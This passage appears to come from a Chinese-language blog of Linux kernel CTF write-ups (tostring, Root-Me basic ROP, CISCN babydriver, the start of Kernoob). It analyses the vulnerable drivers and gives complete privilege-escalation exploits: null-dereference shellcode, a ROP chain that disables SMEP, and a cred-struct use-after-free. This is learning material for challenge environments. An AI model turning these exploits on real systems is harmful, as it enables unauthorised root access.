printk(KERN_INFO "Tostring: Stack size: %dK, locate at %p, max index: %d\n",taille,tostring->tostring_stack,tostring->pointer_max);
return(0);

}


static ssize_t tostring_read_dec(struct file *f, char __user *buf, size_t len, loff_t *off)
{
printk(KERN_INFO "Tostring: read_dec()\n");
if (tostring->pointer > 0)
return(snprintf(buf,len,"%lld\n",tostring->tostring_stack[--(tostring->pointer)]));
else return(0);
}



static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{

char *bufk;
int i,j;

printk(KERN_INFO "Tostring: write()\n");
// rajout du 0 final
bufk = kmalloc(len + 1, GFP_DMA);


if (bufk){

if (copy_from_user(bufk, buf, len))
return -EFAULT;

bufk[len] = '\0';

i=0;
while(i <len) {
/* Les commandes commencent par 10 '*' */
for (j=0;(j<10) && (bufk[j]=='*');j++);
if (j == 10) {
for (j=i+10;(bufk[j]!='\0') && (bufk[j] != '\n');j++);
bufk[j]='\0';
printk("Tostring: Cmd %s\n",bufk+i+10);
switch(bufk[i+10]) {
case 'H':
tostring->tostring_read= tostring_read_hexa;
break;
case 'D':
tostring->tostring_read= tostring_read_dec;
break;
case 'S':
printk("Tostring: Delete stack\n");
kfree(tostring->tostring_stack);
tostring->tostring_stack=NULL;
tostring->tostring_read=NULL;
tostring->pointer=0;
tostring->pointer_max=0;
break;
case 'N':
printk("Tostring: Stack create with size %ld\n",local_strtoul(bufk+i+11,NULL,10));
if (tostring->tostring_stack==NULL) tostring_create(local_strtoul(bufk+i+11,NULL,10));
if (tostring->tostring_stack==NULL) printk("Tostring: Error, impossible to create stack\n");
break;
}
i=j+1;
}
else {
printk("tostring: insertion %lld\n",*((long long int *) (bufk+i)));
if (tostring->pointer >= tostring->pointer_max)
printk(KERN_INFO "Tostring: Stack full\n");
else
tostring->tostring_stack[(tostring->pointer)++]= *((long long int *) (bufk+i));
i = i+sizeof(long long int);
}
}
kfree(bufk);
}
return len;

}




static struct file_operations pugs_fops =
{
.owner = THIS_MODULE,
.open = tostring_open,
.release = tostring_close,
.read = tostring_read,
.write = tostring_write,
};

static int __init tostring_init(void) /* Constructor */
{
printk(KERN_INFO "Tostring registered");
tostring=kmalloc(sizeof(struct tostring_s), GFP_DMA);
tostring_create(taille);
if (alloc_chrdev_region(&first, 0, 8, "tostring") < 0)
{
return -1;
}
if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(first, 1);
return -1;
}
if (device_create(cl, NULL, first, NULL, "tostring") == NULL)
{
printk(KERN_INFO "Tostring error");
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}
cdev_init(&c_dev, &pugs_fops);
if (cdev_add(&c_dev, first, 1) == -1)
{
device_destroy(cl, first);
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}

printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
return 0;
}

static void __exit tostring_exit(void) /* Destructor */
{
printk(KERN_INFO "Tostring unregistered");
kfree(tostring->tostring_stack);
unregister_chrdev_region(first, 1);
}

module_init(tostring_init);
module_exit(tostring_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("F.Boisson");
MODULE_DESCRIPTION("Module Tostring Integers Dec/Hex");

重要需要注意一下两个函数:tostring_read和tostring_write

read
  1. 打印字符串Tostring: read()\n
  2. 调用函数tostring->tostring_read
write
  1. 打印字符串Tostring: write()\n
  2. kmalloc申请chunk
  3. 将输入的内容送入chunk
  4. 末尾置\0
  5. 比较前十个字符,是否都为*
  6. 接着比较第11个字符,是否为H\D\S\N,分别调用不同的功能
    • H:tostring->tostring_read设为tostring_read_hexa
    • D:tostring->tostring_read设为tostring_read_dec
    • S:清空数据
      • tostring->tostring_read设为null
    • N:初始化

漏洞分析

  1. 由于init中有如下指令,故最低可以将mmap映射到0地址。
1
echo 0 > /proc/sys/vm/mmap_min_addr
  1. 若将shellcode通过memcpy函数放入0地址
  2. 那么在S清空栈的时候,tostring->tostring_read被设置为null【NULL在Linux中的定义(/usr/include/linux/stddef.h):#define NULL 0;#define NULL ((void *)0)C++中NULL为0,而Linux C中,NULL为地址0所指向的内容。 】
  3. 再次执行read时候,tostring->tostring_read会执行0地址中的内容,即可get shell
编写shellcode

目标是调用commit_creds(prepare_kernel_cred(0)),故可编写如下汇编执行

1
2
3
4
xor eax,eax;
call commit_creds;
call prepare_kernel_cred;
ret;

image-20210604144540167

有因为commit_creds和prepare_kernel_cred地址已知

eax是参数?

所以一开始xor eax,eax;将commit_creds参数置零,它的结果放入eax中,作为prepare_kernel_cred的参数,即执行了commit_creds(prepare_kernel_cred(0))

1
2
3
4
xor eax,eax;
call 0xC10711F0;
call 0xC1070E80;
ret;

通过Radare2,生成对应的shellcode

1
2
winter@ubuntu:~/nullpoint$ rasm2 "xor eax,eax ; call 0xC10711F0 ; call 0xC1070E80 ; ret;"
31c0e8e91107c1e8740e07c1c3

对应的

1
char payload[] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

char payload[] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3";

int main(void){
char Get_shell[20] ;
mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/dev/tostring",2);
write(fd,"**********S",11);
read(fd,Get_shell,sizeof(Get_shell));
system("/bin/sh");
return 0;
}

image-20210604174655495

调试信息

image-20210604144933474

1
add-symbol-file tostring.ko 0xC8824000 -s .data 0xC88247E0 -s .bss 0xC8824A80

3.[Root-Me]LinKern x86 - basic ROP

下载文件

下载地址

1
2
ssh -p 2223 app-systeme-ch39@challenge03.root-me.org 
密码: app-systeme-ch39

拷贝文件

1
2
scp -P 2223 app-systeme-ch39@challenge03.root-me.org:/challenge/app-systeme/ch39/* .
密码: app-systeme-ch39

预备

  1. 解压img的脚本first.sh

    1
    2
    3
    4
    5
    6
    #!/bin/bash
    mv initramfs.img initramfs.img.gz
    gunzip initramfs.img.gz
    mkdir initramfs
    cd initramfs
    cpio -idvm < ../initramfs.img
  2. 编译c文件并放入img,启动qemu的脚本second.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash
    gcc -m32 -static -o exp exp.c
    cp exp.c initramfs
    cp exp initramfs
    cd initramfs
    find . | cpio -H newc -o > ../initramfs.img
    cd ..
    ./start.sh

3.调试模块基址

1
add-symbol-file ./initramfs/lib/modules/4.10.3/rootme/ch39.ko 0xc8824000 -s .bss 0xc8824440 -s .data 0xc88241a0

image-20210604203258087

4.启动文件start.sh

根据隐藏文件改编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
app-systeme-ch39@challenge03:~$ cat ._start_vm 
#!/bin/bash -p

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
CHALLPATH=/challenge/app-systeme/ch39

STTY=$(stty -g)
stty intr ^-

TEMP=$(mktemp -d)
chgrp app-systeme-ch39 ${TEMP}
chmod 770 ${TEMP}

echo ""
echo "A share will be available: host:${TEMP} -> guest:/mnt/share"
echo "Launching the vulnerable machine..."
echo ""

qemu-system-x86_64 \
-m 32M \
-cpu kvm64,+smep,check \
-nographic \
-kernel $CHALLPATH/bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1' \
-monitor /dev/null \
-initrd $CHALLPATH/initramfs.img \
-snapshot \
-hda $CHALLPATH/passwd.img \
-fsdev local,id=exp1,path=${TEMP},security_model=mapped -device virtio-9p-pci,fsdev=exp1,mount_tag=rootme

rm -rf "${TEMP}" 2> /dev/null
stty "${STTY}"
1
2
3
4
5
6
7
qemu-system-i386 -s \
-kernel bzImage \
-append nokaslr \
-initrd initramfs.img \
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/basicrop \
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme \
-cpu kvm64,+smep

可以看到开启了smep保护,即不能内核态不能执行用户态代码。

image-20210604204333432

分析init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys

#
# flag
#
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
#这次没有关闭MMAP_MIN_ADDR,也就是将限制mmap映射的最低内存地址
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/bof

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
umount /dev

poweroff -f

这次没有关闭MMAP_MIN_ADDR,也就是将限制mmap映射的最低内存地址

分析LKMs文件

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/basicrop/initramfs/lib/modules/4.10.3/rootme$ file ch39.ko 
ch39.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=c713ac86971c4a5d343a2537a18a950af493c44d, not stripped
winter@ubuntu:~/basicrop/initramfs/lib/modules/4.10.3/rootme$ checksec ch39.ko
[*] '/home/winter/basicrop/initramfs/lib/modules/4.10.3/rootme/ch39.ko'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

这次没有源码,主要分析ida中的ko文件

image-20210604230215674

主要分析write函数

  1. 判断size不为0
  2. 将Buf里的长度len的数据循环拷贝到栈上长度0x24的栈上

漏洞分析

因为存在栈溢出,所以如果填充40个垃圾数据后,就可以覆盖到eip了

test1

cyclic 40=>生成40个字符

然后返回地址填成0xdeadbeef

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
char Payload[0x100] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xEF\xBE\xAD\xDE";
int fd = open("/dev/bof",2);
write(fd,Payload,0x100);
return 0;
}

image-20210604210532727

image-20210604210519934

image-20210605000529882

正如我们所想,eip的值为0xdeadbeef然后就挂了。

可以成功控制eip

test2

要绕过smep检验,将cr4的第20位设为0,通过两个gadget实现:

1
2
0xc10174fc : pop eax ; ret
0xc1045053 : mov cr4, eax ; pop ebp ; ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main(void){
char Payload[0x100] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xFC\x74\x01\xC1\xD0\x06\x00\x00\x53\x50\x04\xC1\x00\x00\x00\x00\xEF\xBE\xAD\xDE";
int fd = open("/dev/bof",2);
write(fd,Payload,0x100);
return 0;
}

image-20210605000952674

在test2的c后面加上提权的shellcode,即可得到最后的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>

struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}
int main(void){
char Get_shell[5];
init_tf_work();
*((void**)(Get_shell)) = &payload;
char Payload[0x100] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xFC\x74\x01\xC1\xD0\x06\x00\x00\x53\x50\x04\xC1\x00\x00\x00\x00";
for(int i = 0,j = 56;i < 4;i++,j++){
Payload[j] = Get_shell[i];//绕过smep后加上提权和get shell
}
int fd = open("/dev/bof",2);
write(fd,Payload,0x100);
return 0;
}

image-20210605001430795

4.CISCN2017 – babydriver

下载文件

wiki中有这道,可以上github的ctf-challenge中下载

附件

一共给了三个文件:boot.sh、bzImage和rootfs.cpio

  • boot.sh:是启动文件,开启了kvm(虚拟化),但虚拟机中的Ubuntu再启动虚拟化很麻烦,因此可以直接修改启动指令为如下指令,启动脚本start.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash

    qemu-system-x86_64 -s \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/babydriver \
    -device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme \
    -cpu kvm64,+smep
  • bzImage:未压缩的文件系统

  • rootfs.cpio:内核镜像

预备

  1. 解压内核镜像脚本,decompression.sh

    1
    2
    3
    4
    5
    6
    #!/bin/bash
    mv rootfs.cpio rootfs.cpio.gz
    gunzip rootfs.cpio.gz
    mkdir rootfs
    cd rootfs
    cpio -idvm < ../rootfs.cpio
  2. 编译c文件并放入img,启动qemu的脚本input_file.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash
    gcc -static -o exp exp.c
    cp exp.c rootfs
    cp exp rootfs
    cd rootfs
    find . | cpio -H newc -o > ../rootfs.cpio
    cd ..
    ./start.sh
  3. 调试模块基址

    1
    add-symbol-file ./rootfs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000 -s .bss 0xffffffffc0002000 -s .data 0xffffffffc0002440

    image-20210605202802017

  4. 启动文件start.sh

    1
    2
    3
    4
    5
    6
    7
    8
    #!/bin/bash

    qemu-system-x86_64 -s \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/babydriver \
    -device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme \
    -cpu kvm64,+smep

    开启了smep保护

    image-20210605204630220

  5. 提权地址

    image-20210605205107457

    1
    2
    void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810a1810;
    void* (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810a1420;
  6. LKMs文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    winter@ubuntu:~/babydriver$ cd rootfs/lib/modules/4.4.72/
    winter@ubuntu:~/babydriver/rootfs/lib/modules/4.4.72$ ls
    babydriver.ko
    winter@ubuntu:~/babydriver/rootfs/lib/modules/4.4.72$ file babydriver.ko
    babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, not stripped
    winter@ubuntu:~/babydriver/rootfs/lib/modules/4.4.72$ checksec babydriver.ko
    [*] '/home/winter/babydriver/rootfs/lib/modules/4.4.72/babydriver.ko'
    Arch: amd64-64-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x0)

    64位的

分析

init

看看即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f
LKMs

image-20210605210915873

本题提供了五个函数

  1. open

    image-20210605211023321

    打开设备时,程序申请一个64字节的chunk给全局变量device_buf,并且将size赋值给device_buf_size

  2. write

    image-20210605211737963

    1. 首先看device_buf是否分配了chunk,device_buf_len>要写入的长度
    2. 通过copy_from_user拷贝数据,因为是将rsi的数据拷贝到rdi,也就是将buffer里的数据拷贝到device_buf
  3. read

    与write类似

  4. release

    image-20210605212036394

    释放device_buf指向的chunk,但没有置零【UAF】

  5. ioctl

    image-20210605212140400

    1. esi的值位0x10001
    2. 释放device_buf
    3. 并且申请一个用户传入的size重新分配chunk【v4=v3=rdx】
    4. 然后将size赋值给device_buf_len

漏洞利用

因为open申请的时候,是将地址赋值给一个全局变量babydev_struct.device_buf,且程序将操作结果赋值给给该变量。

  1. 申请两个设备,那么将分配两个设备描述符

    注意,申请多个设备,对他们的操作应该是独立的,但是本题中由于将结果都赋值到一个全局变量中,导致多个设备之间底层使用的是同一个地址。

    image-20210606152944747

    由于程序将结果保存再一个全局变量中,故对两个设备的操作,本质上是对同一地址操作

    • 申请fd1,会申请一块空间,并赋值给了babydev_struct.device_buf
    • 再次申请fd2,同一会再次申请一块空间,覆盖babydev_struct.device_buf里原来的值
  2. ioctl fd1,将全局变量的chunk大小变为cred结构题一样大

    babydev_struct.device_buf=新申请的0xa8的地址

  3. close fd1,释放了fd1,即释放了babydev_struct.device_buf,由于fd1和fd2指向同一地址,故fd2指向了一块以释放内存

  4. fork,将一个进程分裂出一个子进程【父进程将与子进程共享内存空间】

    子进程被创建时将创建对应的struct cred => babydev_struct.device_buf指向的已释放的内存分配走

  5. 通过fd2修改内容,就是修改4中子进程的cred,则提权成功!

调试信息

image-20210606140816472

根据调试信息对比ida可以看出,0xffffffffc00024d0地址就是babydev_struct.device_buf

尚未初始化的时候,值为0

image-20210606144728288

第一次申请设备

image-20210606144740804

第二次申请设备

image-20210606144750687

ioctl,修改设备1chunk的大小为cred_size

image-20210606144805046

释放设备1,此时设备2的device_buf将指向一块以释放内存

image-20210606144818089

cred结构体的前28个字节都被设置为0(包括uid、gid)

image-20210606144822285

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
int main()
{
//申请两个设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
printf("fd1:%d\n",fd1);//文件描述符3
printf("fd2:%d\n",fd2);//文件描述符4

// 修改device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xA8);

// 释放fd1,此时,LKMs2的device_buf将指向一块大小为sizeof(struct cred)的已free的内存
close(fd1);

// 新起进程的 cred 空间将占用那一块已free的内存
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}

else if(pid == 0)
{
// 篡改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);

return 0;
}

image-20210606154209689

5.2020高校战疫分享赛 – Kernoob

下载文件

附件 链接

给了四个文件:bzImage、initramfs.cpio、noob.ko和startvm.sh

预备

  1. 解压cpio的dc.sh

    1
    2
    3
    4
    5
    #!/bin/bash
    mkdir initramfs
    cd initramfs
    cpio -idvm < ../initramfs.cpio
    cd ..
  2. 打包文件系统initramfs.cpio的ci.sh

    1
    2
    3
    4
    #!/bin/bash
    cd initramfs
    find . | cpio -H newc -o > ../initramfs.img
    cd ..
  3. 程序基址

    本程序没有lib文件夹

    方法是grep noob /proc/kallsyms

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ~ $ grep noob /proc/kallsyms
    ffffffffc0002000 t copy_overflow [noob]
    ffffffffc0003120 r kernel_read_file_str [noob]
    ffffffffc0002043 t add_note [noob]
    ffffffffc000211c t del_note [noob]
    ffffffffc0002180 t show_note [noob]
    ffffffffc00022d8 t edit_note [noob]
    ffffffffc0002431 t noob_ioctl [noob]
    ffffffffc0004000 d fops [noob]
    ffffffffc0004100 d misc [noob]
    ffffffffc0003078 r .LC1 [noob]
    ffffffffc00044c0 b pool [noob]
    ffffffffc0004180 d __this_module [noob]
    ffffffffc00024f2 t cleanup_module [noob]
    ffffffffc00024ca t init_module [noob]
    ffffffffc00024f2 t noob_exit [noob]
    ffffffffc00024ca t noob_init [noob]

    其中t、d、b开头的地址就是.text、.data和.bss的基地址

    1
    2
    set architecture i386:x86-64:intel
    add-symbol-file noob.ko 0xffffffffc0002000 -s .data 0xffffffffc0004000 -s .bss 0xffffffffc00044C0
  4. 关闭端口

    1
    2
    netstat -anp |grep 1234
    kill -9 pid

分析

init

这次init是空的,故该为查看/etc/init.d/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

echo "Welcome :)"

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

#直接在home下加载的模块
insmod /home/pwn/noob.ko
chmod 666 /dev/noob

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid /bin/cttyhack setuidgid 1000 sh

umount /proc
poweroff -f
LKMs
1
2
3
4
5
6
7
8
9
winter@ubuntu:~/kernoob$ file noob.ko 
noob.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=7bc6535b4946f6dd01729e9b31c36e400efc8479, not stripped
winter@ubuntu:~/kernoob$ checksec noob.ko
[*] '/home/winter/kernoob/noob.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

64位程序,只开启了NX

Q:如果阅读本文需要付费,你是否愿意为此支付1元?